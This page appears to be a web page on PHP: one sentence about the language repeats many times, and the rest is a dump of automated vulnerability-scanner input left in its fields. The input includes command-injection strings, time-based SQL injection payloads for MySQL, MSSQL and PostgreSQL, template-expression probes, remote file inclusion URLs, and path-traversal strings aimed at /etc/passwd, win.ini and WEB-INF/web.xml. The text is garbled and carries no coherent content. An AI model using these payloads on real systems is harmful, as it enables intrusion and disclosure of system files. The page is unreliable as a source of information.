PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

PHP Hypertext Preprocessor

PHP is a widely-used open source general-purpose scripting language that is especially suited for web development.

1

set|set&set

1

'set|set&set'

1

"set|set&set"

1

set|set&set

1

`set|set&set`

1

print `env`

1

;set|set&set;

1

set|set&set

'set|set&set'

1

"set|set&set"

set|set&set

1

`set|set&set`

print `env`

;set|set&set;

1

UjaxWU9l

1

-1 OR 2+913-913-1=0+0+0+1 --

1

-1 OR 2+716-716-1=0+0+0+1

1

-1' OR 2+988-988-1=0+0+0+1 --

1

-1' OR 2+483-483-1=0+0+0+1 or 'j18PMZgY'='

1

-1" OR 2+553-553-1=0+0+0+1 --

1

lfJwLqTQ

1

if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'"XOR(if(now()=sysdate(),sleep(15),0))OR"*/

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

-1; waitfor delay '0:0:15' --

1

-1); waitfor delay '0:0:5' --

1

-1)); waitfor delay '0:0:5' --

pmJ9Ikx4

1

1 waitfor delay '0:0:5' --

1

1DaKtbaJ'; waitfor delay '0:0:5' --

1

9mUir4CO'); waitfor delay '0:0:5' --

1

XTWqXuZq')); waitfor delay '0:0:10' --

1

-1;select pg_sleep(10); --

1

-1);select pg_sleep(10); --

1

-1));select pg_sleep(15); --

1

6qFISi2x';select pg_sleep(15); --

1

PKzCVQh2');select pg_sleep(5); --

1

9b0MBOBC'));select pg_sleep(5); --

1

${10000345+9999687}

${10000499+10000001}

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💩

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💩

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1

1some_inexistent_file_with_long_name%00.jpg

1

Http://testasp.vulnweb.com/t/fit.txt

1

http://testasp.vulnweb.com/t/fit.txt%3F.jpg

1

testasp.vulnweb.com

1

../../../../../../../../../../etc/passwd

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

../../../../../../../../../../etc/passwd%00.jpg

1

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

1

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1

/etc/passwd

1

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

1

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

1

file:///etc/passwd

5XqvDvO0

-1 OR 2+356-356-1=0+0+0+1 --

1

/\../\../\../\../\../\../\../etc/passwd

1

WEB-INF/web.xml?

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

-1 OR 2+426-426-1=0+0+0+1

1

WEB-INF\web.xml?

1some_inexistent_file_with_long_name%00.jpg

Http://testasp.vulnweb.com/t/fit.txt

1

/WEB-INF/web.xml?

http://testasp.vulnweb.com/t/fit.txt%3F.jpg

-1' OR 2+654-654-1=0+0+0+1 --

testasp.vulnweb.com

1

../../../../../../../../../../windows/win.ini

-1' OR 2+122-122-1=0+0+0+1 or 'HTD1WFcq'='

1

../../../../../../../../../../boot.ini

1

../../../../../../../../../../windows/win.ini%00.jpg

-1" OR 2+721-721-1=0+0+0+1 --

1

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini